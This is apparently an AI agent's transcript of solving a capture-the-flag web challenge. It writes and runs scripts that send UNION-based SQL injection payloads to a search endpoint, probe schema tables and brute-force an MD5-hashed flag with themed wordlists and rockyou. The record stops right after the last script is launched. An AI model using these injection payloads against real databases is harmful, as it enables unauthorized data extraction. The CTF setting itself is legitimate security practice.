{"filepath": "/sandbox/blind_sqli.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\nimport string\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\nFLAG_HINT = \"SSM{ducks_\"\n\ndef search(payload):\n    url = f\"{BASE_URL}/search\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"query\": payload}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        return {\"error\": str(e)}\n\nprint(\"=\"*60)\nprint(\"Blind SQLi to extract FLAG2 from flags table\")\nprint(\"=\"*60)\n\n# We know FLAG2 is stored in flags table but hashed\n# Let's try to extract it before it was hashed - looking at the source code\n# The flag_data DataFrame contains FLAG2 in plaintext before MD5\n\n# Actually, looking at the code again:\n# FLAG2 is only inserted as MD5 hash, never in plaintext in the DB\n# We need to extract FLAG2 from the environment or find another way\n\n# But wait - the code creates the flag like this:\n# FLAG = os.environ.get('FLAG', 'SSM{fake_flag_for_testing}')\n# FLAG_HINT = FLAG[:10]\n# FLAG2 = FLAG[10:]\n\n# So FLAG2 is never stored in plaintext in the database!\n# We need to either:\n# 1. Crack the MD5 hash\n# 2. Use error-based SQLi to read environment variables or memory\n# 3. Use time-based blind SQLi to confirm characters\n\nprint(\"\\n[*] Attempting to extract FLAG via DuckDB functions...\")\n\n# DuckDB doesn't have direct env var access, but we can try other tricks\n# Let's try to use UNION to inject values and test them character by character\n\ncharset = string.ascii_lowercase + string.ascii_uppercase + string.digits + \"_{}-!@#$\"\n\nprint(f\"\\n[+] FLAG_HINT: {FLAG_HINT}\")\nprint(f\"[*] Starting character-by-character extraction of FLAG2...\")\n\nflag2 = \"\"\nmax_length = 30  # Assume FLAG2 is at most 30 chars\n\nfor pos in range(1, max_length + 1):\n    found = False\n    print(f\"\\n[*] Extracting position {pos}...\")\n    \n    for char in charset:\n        # Use UNION with a conditional to leak one character at a time\n        # We'll check if the character at position pos of secret_value matches\n        test_flag2 = flag2 + char\n        \n        # Create MD5 of our test\n        import hashlib\n        test_md5 = hashlib.md5(test_flag2.encode()).hexdigest()\n        \n        # Check if this MD5 matches by using LIKE\n        # The query should return something if it matches\n        payload = f\"%' UNION SELECT id, secret_type, secret_value, 0, 'found' FROM flags WHERE secret_value LIKE '{test_md5[:pos]}%'--\"\n        \n        result = search(payload)\n        if result and 'products' in result:\n            # Check if we got a match with 'found' in description\n            for product in result['products']:\n                if product.get('description') == 'found' and len(product.get('category', '')) == 32:\n                    # This means our partial MD5 matches\n                    # But we need exact match for the character\n                    pass\n    \n    # This approach won't work well. Let's try a different method.\n    # Since we can't crack MD5 easily, let's look for patterns\n    \n    break\n\nprint(\"\\n[*] MD5 cracking approach needed...\")\nprint(\"[*] Let's try common words and patterns for ducks/database themes\")\n\ncommon_suffixes = [\n    \"quack}\",\n    \"are_cool}\",\n    \"in_db}\",\n    \"like_a_db}\",\n    \"and_dbs}\",\n    \"love_dbs}\",\n    \"query}\",\n    \"database}\",\n    \"duckdb}\",\n    \"swim}\",\n    \"float}\",\n    \"waddle}\",\n    \"bill}\",\n    \"pond}\",\n    \"lake}\",\n    \"water}\",\n    \"fly}\",\n]\n\nimport hashlib\nTARGET_MD5 = \"f9faf4c817f77defc01213723a0f01e2\"\n\nprint(f\"\\n[*] Target MD5: {TARGET_MD5}\")\n\nfor suffix in common_suffixes:\n    test_md5 = hashlib.md5(suffix.encode()).hexdigest()\n    if test_md5 == TARGET_MD5:\n        print(f\"\\n[+] FOUND! FLAG2: {suffix}\")\n        print(f\"[+] Full flag: {FLAG_HINT}{suffix}\")\n        break\nelse:\n    print(\"\\n[-] Not found in common patterns\")\n    \n    # Try wordlist from rockyou or common passwords\n    print(\"\\n[*] Trying more patterns based on challenge theme...\")\n    \n    # \"if it quacks like a db\" - the challenge name!\n    theme_words = [\n        \"quack_like_db}\",\n        \"quacks_like_db}\",\n        \"if_it_quacks}\",\n        \"quacks}\",\n        \"ducklike}\",\n        \"db_quack}\",\n        \"quack_db}\",\n    ]\n    \n    for suffix in theme_words:\n        test_md5 = hashlib.md5(suffix.encode()).hexdigest()\n        print(f\"[*] Testing: {suffix} -> {test_md5}\")\n        if test_md5 == TARGET_MD5:\n            print(f\"\\n[+] FOUND! FLAG2: {suffix}\")\n            print(f\"[+] Full flag: {FLAG_HINT}{suffix}\")\n            break\n"}

{"result":"/sandbox/blind_sqli.py"}

{"command": "cd /sandbox && python3 blind_sqli.py", "timeout": 60}

{"exitCode":0,"stdout":"============================================================\nBlind SQLi to extract FLAG2 from flags table\n============================================================\n\n[] Attempting to extract FLAG via DuckDB functions...\n\n[+] FLAG_HINT: SSM{ducks_\n[] Starting character-by-character extraction of FLAG2...\n\n[] Extracting position 1...\n\n[] MD5 cracking approach needed...\n[] Let's try common words and patterns for ducks/database themes\n\n[] Target MD5: f9faf4c817f77defc01213723a0f01e2\n\n[-] Not found in common patterns\n\n[] Trying more patterns based on challenge theme...\n[] Testing: quack_like_db} -> 02ffa6fdd50b06b5daee69c5fc9defa1\n[] Testing: quacks_like_db} -> a86568babee38f63d32db5d4533db2bb\n[] Testing: if_it_quacks} -> daa6385698cad032ec34a60fe441cb72\n[] Testing: quacks} -> 51d0ef477e2dfaf1b26f104450f9aadd\n[] Testing: ducklike} -> 82a4d3af37256b90c2de88940422b9ac\n[] Testing: db_quack} -> a0be7953ec536d8a64418c8518f60450\n[] Testing: quack_db} -> 432fcacff0cf6ba418fcc74c3033a7d7\n","stderr":""}

{"filepath": "/sandbox/advanced_crack.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\nimport hashlib\nimport itertools\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\nFLAG_HINT = \"SSM{ducks_\"\nTARGET_MD5 = \"f9faf4c817f77defc01213723a0f01e2\"\n\ndef check_flag(flag):\n    \"\"\"Submit flag to check endpoint\"\"\"\n    url = f\"{BASE_URL}/check_flag\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"flag\": flag}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        return {\"error\": str(e)}\n\nprint(\"=\"*60)\nprint(\"Advanced FLAG2 Cracking\")\nprint(\"=\"*60)\n\n# Generate comprehensive patterns based on:\n# 1. Challenge name: \"if it quacks like a db\"\n# 2. Duck themes\n# 3. Database themes\n# 4. Common CTF patterns\n\npatterns = []\n\n# Based on challenge name\nbase_phrases = [\n    \"quack_like_a_db}\",\n    \"quacks_like_a_db}\",\n    \"if_it_quacks_like_a_db}\",\n    \"it_quacks_like_a_db}\",\n    \"like_a_db}\",\n    \"quack_like_db}\",\n    \"quacks_like_db}\",\n]\n\n# Duck-related\nduck_words = [\"quack\", \"waddle\", \"swim\", \"fly\", \"pond\", \"bill\", \"feather\", \"wing\", \"beak\", \"mallard\"]\n# DB-related  \ndb_words = [\"db\", \"database\", \"sql\", \"query\", \"table\", \"duckdb\", \"data\"]\n\n# Combine them\nfor d in duck_words:\n    for db in db_words:\n        patterns.append(f\"{d}_{db}}\")\n        patterns.append(f\"{db}_{d}}\")\n\n# Add simple variations\npatterns.extend([\n    \"love_to_quack}\",\n    \"go_quack}\",\n    \"say_quack}\",\n    \"quack_quack}\",\n    \"duckduckdb}\",\n    \"sql_duck}\",\n    \"duck_sql}\",\n    \"query_duck}\",\n    \"duck_query}\",\n])\n\n# Add base phrases\npatterns.extend(base_phrases)\n\nprint(f\"\\n[+] FLAG_HINT: {FLAG_HINT}\")\nprint(f\"[+] Target MD5: {TARGET_MD5}\")\nprint(f\"[*] Testing {len(patterns)} patterns...\")\n\nfound = False\nfor i, pattern in enumerate(patterns):\n    if i % 50 == 0:\n        print(f\"[*] Tested {i}/{len(patterns)} patterns...\")\n    \n    test_md5 = hashlib.md5(pattern.encode()).hexdigest()\n    if test_md5 == TARGET_MD5:\n        full_flag = FLAG_HINT + pattern\n        print(f\"\\n[+] FOUND!\")\n        print(f\"[+] FLAG2: {pattern}\")\n        print(f\"[+] Full flag: {full_flag}\")\n        print(f\"[+] MD5: {test_md5}\")\n        \n        # Verify with server\n        result = check_flag(full_flag)\n        print(f\"\\n[+] Server verification: {json.dumps(result, indent=2)}\")\n        found = True\n        break\n\nif not found:\n    print(f\"\\n[-] Not found in {len(patterns)} patterns\")\n    \n    # Try shorter common words\n    print(\"\\n[*] Trying single words and short phrases...\")\n    short_words = [\n        \"quack}\", \"duck}\", \"db}\", \"sql}\", \"pond}\", \"swim}\", \n        \"fly}\", \"bill}\", \"wing}\", \"beak}\", \"mallard}\",\n        \"table}\", \"query}\", \"data}\", \"row}\", \"column}\",\n        \"duckdb}\", \"sqldb}\", \"dbase}\",\n    ]\n    \n    for word in short_words:\n        test_md5 = hashlib.md5(word.encode()).hexdigest()\n        if test_md5 == TARGET_MD5:\n            full_flag = FLAG_HINT + word\n            print(f\"\\n[+] FOUND!\")\n            print(f\"[+] FLAG2: {word}\")\n            print(f\"[+] Full flag: {full_flag}\")\n            \n            # Verify\n            result = check_flag(full_flag)\n            print(f\"\\n[+] Server verification: {json.dumps(result, indent=2)}\")\n            found = True\n            break\n    \nif not found:\n    print(\"\\n[*] Still not found. Let's try analyzing the hash more...\")\n    print(\"[*] Trying online hash lookup services would be the next step\")\n"}

{"result":"/sandbox/advanced_crack.py"}

{"command": "cd /sandbox && python3 advanced_crack.py 2>&1 | head -100", "timeout": 60}

{"exitCode":0,"stdout":"  File "/sandbox/advanced_crack.py", line 53\n    patterns.append(f"{d}{db}}")\n                              ^\nSyntaxError: f-string: single '}' is not allowed\n","stderr":""}

{"filepath": "/sandbox/advanced_crack.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\nimport hashlib\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\nFLAG_HINT = \"SSM{ducks_\"\nTARGET_MD5 = \"f9faf4c817f77defc01213723a0f01e2\"\n\ndef check_flag(flag):\n    \"\"\"Submit flag to check endpoint\"\"\"\n    url = f\"{BASE_URL}/check_flag\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"flag\": flag}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        return {\"error\": str(e)}\n\nprint(\"=\"*60)\nprint(\"Advanced FLAG2 Cracking\")\nprint(\"=\"*60)\n\npatterns = []\n\n# Based on challenge name: \"if it quacks like a db\"\nbase_phrases = [\n    \"quack_like_a_db}\",\n    \"quacks_like_a_db}\",\n    \"if_it_quacks_like_a_db}\",\n    \"it_quacks_like_a_db}\",\n    \"like_a_db}\",\n    \"quack_like_db}\",\n    \"quacks_like_db}\",\n]\n\n# Duck-related\nduck_words = [\"quack\", \"waddle\", \"swim\", \"fly\", \"pond\", \"bill\", \"feather\", \"wing\", \"beak\", \"mallard\"]\n# DB-related  \ndb_words = [\"db\", \"database\", \"sql\", \"query\", \"table\", \"duckdb\", \"data\"]\n\n# Combine them\nfor d in duck_words:\n    for db in db_words:\n        patterns.append(d + \"_\" + db + \"}\")\n        patterns.append(db + \"_\" + d + \"}\")\n\n# Add simple variations\npatterns.extend([\n    \"love_to_quack}\",\n    \"go_quack}\",\n    \"say_quack}\",\n    \"quack_quack}\",\n    \"duckduckdb}\",\n    \"sql_duck}\",\n    \"duck_sql}\",\n    \"query_duck}\",\n    \"duck_query}\",\n])\n\n# Add base phrases\npatterns.extend(base_phrases)\n\nprint(f\"\\n[+] FLAG_HINT: {FLAG_HINT}\")\nprint(f\"[+] Target MD5: {TARGET_MD5}\")\nprint(f\"[*] Testing {len(patterns)} patterns...\")\n\nfound = False\nfor i, pattern in enumerate(patterns):\n    if i % 50 == 0:\n        print(f\"[*] Tested {i}/{len(patterns)} patterns...\")\n    \n    test_md5 = hashlib.md5(pattern.encode()).hexdigest()\n    if test_md5 == TARGET_MD5:\n        full_flag = FLAG_HINT + pattern\n        print(f\"\\n[+] FOUND!\")\n        print(f\"[+] FLAG2: {pattern}\")\n        print(f\"[+] Full flag: {full_flag}\")\n        print(f\"[+] MD5: {test_md5}\")\n        \n        # Verify with server\n        result = check_flag(full_flag)\n        print(f\"\\n[+] Server verification: {json.dumps(result, indent=2)}\")\n        found = True\n        break\n\nif not found:\n    print(f\"\\n[-] Not found in {len(patterns)} patterns\")\n    \n    # Try shorter common words\n    print(\"\\n[*] Trying single words and short phrases...\")\n    short_words = [\n        \"quack}\", \"duck}\", \"db}\", \"sql}\", \"pond}\", \"swim}\", \n        \"fly}\", \"bill}\", \"wing}\", \"beak}\", \"mallard}\",\n        \"table}\", \"query}\", \"data}\", \"row}\", \"column}\",\n        \"duckdb}\", \"sqldb}\", \"dbase}\",\n    ]\n    \n    for word in short_words:\n        test_md5 = hashlib.md5(word.encode()).hexdigest()\n        if test_md5 == TARGET_MD5:\n            full_flag = FLAG_HINT + word\n            print(f\"\\n[+] FOUND!\")\n            print(f\"[+] FLAG2: {word}\")\n            print(f\"[+] Full flag: {full_flag}\")\n            \n            # Verify\n            result = check_flag(full_flag)\n            print(f\"\\n[+] Server verification: {json.dumps(result, indent=2)}\")\n            found = True\n            break\n    \nif not found:\n    print(\"\\n[*] Still not found. Trying more variations...\")\n    # Try with underscores and numbers\n    more_patterns = [\n        \"are_great}\",\n        \"rule}\",\n        \"rock}\",\n        \"cool}\",\n        \"awesome}\",\n        \"best}\",\n        \"ftw}\",\n        \"4ever}\",\n        \"forever}\",\n        \"always}\",\n    ]\n    \n    for p in more_patterns:\n        test_md5 = hashlib.md5(p.encode()).hexdigest()\n        if test_md5 == TARGET_MD5:\n            full_flag = FLAG_HINT + p\n            print(f\"\\n[+] FOUND!\")\n            print(f\"[+] FLAG2: {p}\")\n            print(f\"[+] Full flag: {full_flag}\")\n            result = check_flag(full_flag)\n            print(f\"\\n[+] Server verification: {json.dumps(result, indent=2)}\")\n            found = True\n            break\n"}

{"result":"/sandbox/advanced_crack.py"}

{"command": "cd /sandbox && python3 advanced_crack.py", "timeout": 60}

{"exitCode":0,"stdout":"============================================================\nAdvanced FLAG2 Cracking\n============================================================\n\n[+] FLAG_HINT: SSM{ducks_\n[+] Target MD5: f9faf4c817f77defc01213723a0f01e2\n[] Testing 156 patterns...\n[] Tested 0/156 patterns...\n[] Tested 50/156 patterns...\n[] Tested 100/156 patterns...\n[] Tested 150/156 patterns...\n\n[-] Not found in 156 patterns\n\n[] Trying single words and short phrases...\n\n[] Still not found. Trying more variations...\n","stderr":""}

{"filepath": "/sandbox/bruteforce_flag.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\nimport string\nimport hashlib\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\nFLAG_HINT = \"SSM{ducks_\"\nTARGET_MD5 = \"f9faf4c817f77defc01213723a0f01e2\"\n\ndef check_flag(flag):\n    \"\"\"Submit flag to check endpoint\"\"\"\n    url = f\"{BASE_URL}/check_flag\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"flag\": flag}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        return {\"error\": str(e)}\n\nprint(\"=\"*60)\nprint(\"Brute Force Character-by-Character\")\nprint(\"=\"*60)\n\n# The check_flag endpoint checks:\n# 1. Flag starts with FLAG_HINT\n# 2. MD5 of the rest (FLAG2) matches the hash in DB\n\n# We can brute force FLAG2 character by character\ncharset = string.ascii_lowercase + string.ascii_uppercase + string.digits + \"_-{}!@#$\"\n\nprint(f\"\\n[+] FLAG_HINT: {FLAG_HINT}\")\nprint(f\"[+] Target MD5: {TARGET_MD5}\")\nprint(f\"[*] Charset: {charset}\")\nprint(f\"[*] Starting brute force...\")\n\nflag2 = \"\"\nmax_length = 25\n\nfor pos in range(max_length):\n    found_char = False\n    print(f\"\\n[*] Position {pos + 1}...\")\n    \n    for char in charset:\n        test_flag2 = flag2 + char\n        \n        # Check if this would be the complete flag (ends with })\n        if char == '}':\n            # Test if this is the complete flag\n            test_md5 = hashlib.md5(test_flag2.encode()).hexdigest()\n            if test_md5 == TARGET_MD5:\n                flag2 = test_flag2\n                full_flag = FLAG_HINT + flag2\n                print(f\"\\n[+] FOUND COMPLETE FLAG!\")\n                print(f\"[+] FLAG2: {flag2}\")\n                print(f\"[+] Full flag: {full_flag}\")\n                \n                # Verify with server\n                result = check_flag(full_flag)\n                print(f\"\\n[+] Server verification: {json.dumps(result, indent=2)}\")\n                exit(0)\n        \n        # Otherwise, check if we're on the right path\n        # by testing with a closing brace and comparing partial MD5\n        test_md5 = hashlib.md5(test_flag2.encode()).hexdigest()\n        \n        # We need a different approach - we can't tell if partial is correct\n        # Let's just brute force short strings completely\n        \n    # This won't work well without feedback per character\n    break\n\nprint(\"\\n[*] Brute forcing complete short flags...\")\n\n# Try all combinations of reasonable length\nfrom itertools import product\n\n# Start with length 1-10 for FLAG2 (after \"SSM{ducks_\")\nfor length in range(1, 15):\n    print(f\"\\n[*] Trying length {length}...\")\n    \n    # Reduce charset for faster testing\n    reduced_charset = string.ascii_lowercase + \"_}\"\n    \n    count = 0\n    for combo in product(reduced_charset, repeat=length):\n        flag2_test = ''.join(combo)\n        \n        # Must end with }\n        if not flag2_test.endswith('}'):\n            continue\n            \n        count += 1\n        if count % 10000 == 0:\n            print(f\"[*] Tested {count} combinations for length {length}...\")\n        \n        test_md5 = hashlib.md5(flag2_test.encode()).hexdigest()\n        if test_md5 == TARGET_MD5:\n            full_flag = FLAG_HINT + flag2_test\n            print(f\"\\n[+] FOUND!\")\n            print(f\"[+] FLAG2: {flag2_test}\")\n            print(f\"[+] Full flag: {full_flag}\")\n            \n            # Verify\n            result = check_flag(full_flag)\n            print(f\"\\n[+] Server verification: {json.dumps(result, indent=2)}\")\n            exit(0)\n    \n    # Don't try too long\n    if length > 12:\n        print(\"[*] Length getting too long, stopping brute force\")\n        break\n\nprint(\"\\n[-] Brute force unsuccessful\")\n"}

{"result":"/sandbox/bruteforce_flag.py"}

{"filepath": "/sandbox/simple_patterns.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\nimport hashlib\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\nFLAG_HINT = \"SSM{ducks_\"\nTARGET_MD5 = \"f9faf4c817f77defc01213723a0f01e2\"\n\ndef check_flag(flag):\n    url = f\"{BASE_URL}/check_flag\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"flag\": flag}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json()\n    except Exception as e:\n        return {\"error\": str(e)}\n\nprint(\"Testing obvious patterns based on challenge name...\")\nprint(f\"Challenge: 'if it quacks like a db'\")\nprint(f\"FLAG_HINT: {FLAG_HINT}\")\nprint(f\"TARGET_MD5: {TARGET_MD5}\\n\")\n\n# Most obvious patterns from the challenge name\npatterns = [\n    # Direct from challenge name\n    \"if_it_quacks_like_a_db}\",\n    \"quack_like_a_db}\",\n    \"quacks_like_a_db}\",\n    \"like_a_db}\",\n    \n    # Variations\n    \"and_walks_like_a_db}\",\n    \"and_looks_like_a_db}\",\n    \"are_databases}\",\n    \"are_dbs}\",\n    \"use_duckdb}\",\n    \"love_duckdb}\",\n    \n    # Simple endings\n    \"are_awesome}\",\n    \"are_cool}\",\n    \"ftw}\",\n    \"rule}\",\n]\n\nfor pattern in patterns:\n    test_md5 = hashlib.md5(pattern.encode()).hexdigest()\n    print(f\"Testing: {pattern:30s} MD5: {test_md5}\", end=\"\")\n    \n    if test_md5 == TARGET_MD5:\n        full_flag = FLAG_HINT + pattern\n        print(f\" *** MATCH! ***\")\n        print(f\"\\n[+] FOUND FLAG!\")\n        print(f\"[+] FLAG2: {pattern}\")\n        print(f\"[+] Full flag: {full_flag}\")\n        \n        # Verify with server\n        result = check_flag(full_flag)\n        print(f\"\\n[+] Server verification:\")\n        print(json.dumps(result, indent=2))\n        exit(0)\n    else:\n        print(\"\")\n\nprint(\"\\n[-] No match found in obvious patterns\")\nprint(\"\\n[*] Let me also test if SQLi can help extract the plaintext...\")\n"}

{"result":"/sandbox/simple_patterns.py"}

{"command": "cd /sandbox && python3 simple_patterns.py", "timeout": 30}

{"exitCode":0,"stdout":"Testing obvious patterns based on challenge name...\nChallenge: 'if it quacks like a db'\nFLAG_HINT: SSM{ducks_\nTARGET_MD5: f9faf4c817f77defc01213723a0f01e2\n\nTesting: if_it_quacks_like_a_db}        MD5: 83aecb6e599624890fbdc2f6fe03534d\nTesting: quack_like_a_db}               MD5: 30612c58b4a1b1a392714856ff947c8a\nTesting: quacks_like_a_db}              MD5: d25420d13b27456028fde78221a170df\nTesting: like_a_db}                     MD5: 69aba6ff1adad9c9eaf4bc0068b9d1bc\nTesting: and_walks_like_a_db}           MD5: 169fdc9357fd71e22f07326b06ef7427\nTesting: and_looks_like_a_db}           MD5: ff41d4739fafa53b3bd0b93c253d20a5\nTesting: are_databases}                 MD5: 903d9f9ff0698e5c184d8338c52b643c\nTesting: are_dbs}                       MD5: cbd16a701715efc870ab5266da1c2309\nTesting: use_duckdb}                    MD5: b2bc039c54ace9f0e0b330da694ed751\nTesting: love_duckdb}                   MD5: 62963629ca37b05627e4eec71c03685b\nTesting: are_awesome}                   MD5: 5c666c972f9657458651012a10b6f5da\nTesting: are_cool}                      MD5: 85a7fcf51725ed1d82c2e9645c9a2039\nTesting: ftw}                           MD5: 40b16d6a864f62fabe45e93a9e2390a4\nTesting: rule}                          MD5: d01a342fea5bf1b083946c92f3d080dc\n\n[-] No match found in obvious patterns\n\n[] Let me also test if SQLi can help extract the plaintext...\n","stderr":""}

{"filepath": "/sandbox/analyze.py", "content": "#!/usr/bin/env python3\n\"\"\"\nAnalyzing the code logic:\n\n1. The /search endpoint has SQLi: \n   f\"SELECT * FROM products WHERE description NOT LIKE '%{FLAG_HINT}%' AND name LIKE '%{search_term}%'\"\n\n2. The /check_flag endpoint:\n   - Takes submitted flag\n   - Checks if it starts with FLAG_HINT\n   - Removes FLAG_HINT from submitted flag to get FLAG2\n   - Computes MD5(FLAG2)\n   - Queries: f\"SELECT * FROM flags WHERE secret_value = '{md5(submitted_flag.encode()).hexdigest()}'\"\n   \n3. KEY INSIGHT: The check_flag query is ALSO vulnerable to SQLi!\n   \n   query = f\"SELECT * FROM flags WHERE secret_value = '{md5(submitted_flag.encode()).hexdigest()}'\"\n   \n   We can inject SQL into this query by controlling the FLAG2 part!\n\n4. If we send a flag like: SSM{ducks_' OR '1'='1\n   After removing FLAG_HINT, submitted_flag = \"' OR '1'='1\"\n   MD5 of that = some hash\n   Query becomes: SELECT * FROM flags WHERE secret_value = 'some_hash_of_or_statement'\n   \n   But wait, that won't work because we're MD5ing the payload first.\n\n5. BETTER IDEA: Look at the check logic again:\n   if result:\n       return jsonify({'correct': True, 'message': 'Flag is correct!'}), 200\n   \n   So if the query returns ANY result, it says correct!\n   \n6. We need to make the query return results without knowing the actual MD5.\n   But the query is: WHERE secret_value = 'our_md5'\n   Even with SQLi, we're inside quotes.\n\n7. WAIT! Let me check if there's another vulnerability...\n   \n   Looking at the check_flag function more carefully:\n   - submitted_flag = request.json.get('flag', '')\n   - if not submitted_flag.startswith(FLAG_HINT): return error\n   - submitted_flag = submitted_flag[len(FLAG_HINT):]  # Remove FLAG_HINT\n   - query = f\"SELECT * FROM flags WHERE secret_value = '{md5(submitted_flag.encode()).hexdigest()}'\"\n   \n   The MD5 is computed BEFORE the query, so we can't inject into the query directly.\n\n8. ANOTHER APPROACH: What if we can use collision or length extension attacks on MD5?\n   No, that's too complex.\n\n9. ACTUAL SOLUTION: Use SQLi in the /search endpoint to extract or leak the FLAG somehow!\n   \n   Looking at the database schema:\n   - products table has the FLAG_HINT in product 7\n   - flags table has MD5(FLAG2)\n   \n   But FLAG2 itself is NEVER stored in the database! It's only in memory as FLAG[10:].\n   \n10. So we MUST crack the MD5 hash. Let me try a more comprehensive wordlist.\n\"\"\"\n\nimport requests\nimport hashlib\n\nTARGET_MD5 = \"f9faf4c817f77defc01213723a0f01e2\"\n\n# Generate wordlist from various sources\nwordlist = []\n\n# Common CTF patterns\nprefixes = [\"\", \"are_\", \"go_\", \"love_\", \"like_\", \"is_\", \"its_\", \"the_\"]\nmiddles = [\"quack\", \"duck\", \"ducks\", \"db\", \"sql\", \"database\", \"duckdb\", \"swim\", \"fly\", \"waddle\"]\nsuffixes = [\"\", \"_cool\", \"_awesome\", \"_fun\", \"_great\", \"_best\", \"_ftw\", \"_rocks\", \"_rule\", \"_forever\"]\nendings = [\"}\"]\n\n# Generate combinations\nfor p in prefixes:\n    for m in middles:\n        for s in suffixes:\n            for e in endings:\n                word = p + m + s + e\n                if word not in wordlist:\n                    wordlist.append(word)\n\nprint(f\"Generated {len(wordlist)} words\")\nprint(f\"Target MD5: {TARGET_MD5}\\n\")\n\nfor i, word in enumerate(wordlist):\n    test_md5 = hashlib.md5(word.encode()).hexdigest()\n    if test_md5 == TARGET_MD5:\n        print(f\"\\n[+] FOUND!\")\n        print(f\"[+] FLAG2: {word}\")\n        print(f\"[+] Full flag: SSM{{ducks_{word}\")\n        break\n    \n    if i % 100 == 0:\n        print(f\"Tested {i}/{len(wordlist)}...\")\nelse:\n    print(\"\\n[-] Not found in generated wordlist\")\n"}

{"result":"/sandbox/analyze.py"}

{"command": "cd /sandbox && python3 analyze.py", "timeout": 30}

{"exitCode":0,"stdout":"Generated 800 words\nTarget MD5: f9faf4c817f77defc01213723a0f01e2\n\nTested 0/800...\nTested 100/800...\nTested 200/800...\nTested 300/800...\nTested 400/800...\nTested 500/800...\nTested 600/800...\nTested 700/800...\n\n[-] Not found in generated wordlist\n","stderr":""}

{"command": "echo \"f9faf4c817f77defc01213723a0f01e2\" > /sandbox/hash.txt && head -20000 /usr/share/wordlists/rockyou.txt 2>/dev/null | while read word; do echo -n \"$word}\" | md5sum | grep -q \"f9faf4c817f77defc01213723a0f01e2\" && echo \"FOUND: $word}\" && break; done", "timeout": 60}

{"exitCode":0,"stdout":"","stderr":""}

{"command": "cd /sandbox && python3 -c \"\nimport hashlib\n\n# Create a wordlist with duck/db themed words\nwords = []\n\n# Base words\nbase = ['quack', 'duck', 'ducks', 'waddle', 'swim', 'pond', 'bill', 'wing', 'fly',\n        'db', 'sql', 'database', 'duckdb', 'query', 'table', 'data',\n        'walk', 'talk', 'look', 'act', 'sound']\n\n# Try 2-word combinations\nfor w1 in base:\n    for w2 in base:\n        words.append(w1 + '_' + w2 + '}')\n\n# Try single words\nfor w in base:\n    words.append(w + '}')\n\n# Try with 'and' connector\nfor w in base:\n    words.append('and_' + w + '}')\n\ntarget = 'f9faf4c817f77defc01213723a0f01e2'\n\nfor word in words:\n    h = hashlib.md5(word.encode()).hexdigest()\n    if h == target:\n        print(f'FOUND: {word}')\n        break\nelse:\n    print(f'Not found in {len(words)} attempts')\n\"", "timeout": 30}

{"exitCode":0,"stdout":"Not found in 483 attempts\n","stderr":""}

{"filepath": "/sandbox/error_sqli.py", "content": "#!/usr/bin/env python3\nimport requests\nimport json\n\nBASE_URL = \"https://if-it-quacks-like-a-db.ctfchall.se:50000\"\nFLAG_HINT = \"SSM{ducks_\"\n\ndef check_flag(flag):\n    url = f\"{BASE_URL}/check_flag\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"flag\": flag}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json(), response.status_code\n    except Exception as e:\n        return {\"error\": str(e)}, 0\n\ndef search(payload):\n    url = f\"{BASE_URL}/search\"\n    headers = {\"Content-Type\": \"application/json\"}\n    data = {\"query\": payload}\n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        return response.json(), response.status_code\n    except Exception as e:\n        return {\"error\": str(e)}, 0\n\nprint(\"=\"*60)\nprint(\"Trying error-based and alternative SQLi\")\nprint(\"=\"*60)\n\n# Try to trigger an error that leaks information\nprint(\"\\n[*] Attempting error-based SQLi...\")\n\n# Try to cause a type conversion error that might leak data\npayload = \"%' UNION SELECT id, secret_value, secret_type, 1/0, 'test' FROM flags--\"\nresult, status = search(payload)\nprint(f\"Status: {status}\")\nprint(f\"Result: {json.dumps(result, indent=2)}\")\n\n# Try casting or converting the secret_value\npayload2 = \"%' UNION SELECT id, CAST(secret_value AS INTEGER), secret_type, 0, 'test' FROM flags--\"\nresult2, status2 = search(payload2)\nprint(f\"\\nCast attempt Status: {status2}\")\nprint(f\"Result: {json.dumps(result2, indent=2)}\")\n\n# Check if there are any DuckDB functions to reverse MD5 or access source data\nprint(\"\\n[*] Trying to access system tables or functions...\")\n\n# DuckDB has duckdb_functions() table\npayload3 = \"%' UNION SELECT 1, function_name, function_type, 0, 'test' FROM duckdb_functions() LIMIT 5--\"\nresult3, status3 = search(payload3)\nprint(f\"\\nFunctions Status: {status3}\")\nprint(f\"Result: {json.dumps(result3, indent=2)[:500]}\")\n\n# Try to get table schema or metadata\npayload4 = \"%' UNION SELECT 1, column_name, data_type, 0, table_name FROM information_schema.columns WHERE table_name='flags'--\"\nresult4, status4 = search(payload4)\nprint(f\"\\nSchema Status: {status4}\")\nprint(f\"Result: {json.dumps(result4, indent=2)}\")\n\nprint(\"\\n[*] Checking if there's a way to use check_flag endpoint with SQLi...\")\n\n# The check_flag endpoint computes MD5 first, so we can't inject there\n# But maybe we can cause an error that leaks info?\n\ntest_flag = FLAG_HINT + \"test' OR '1'='1\"\nresult5, status5 = check_flag(test_flag)\nprint(f\"\\nCheck flag SQLi attempt Status: {status5}\")\nprint(f\"Result: {json.dumps(result5, indent=2)}\")\n"}

{"result":"/sandbox/error_sqli.py"}

{"command": "cd /sandbox && python3 error_sqli.py", "timeout": 30}

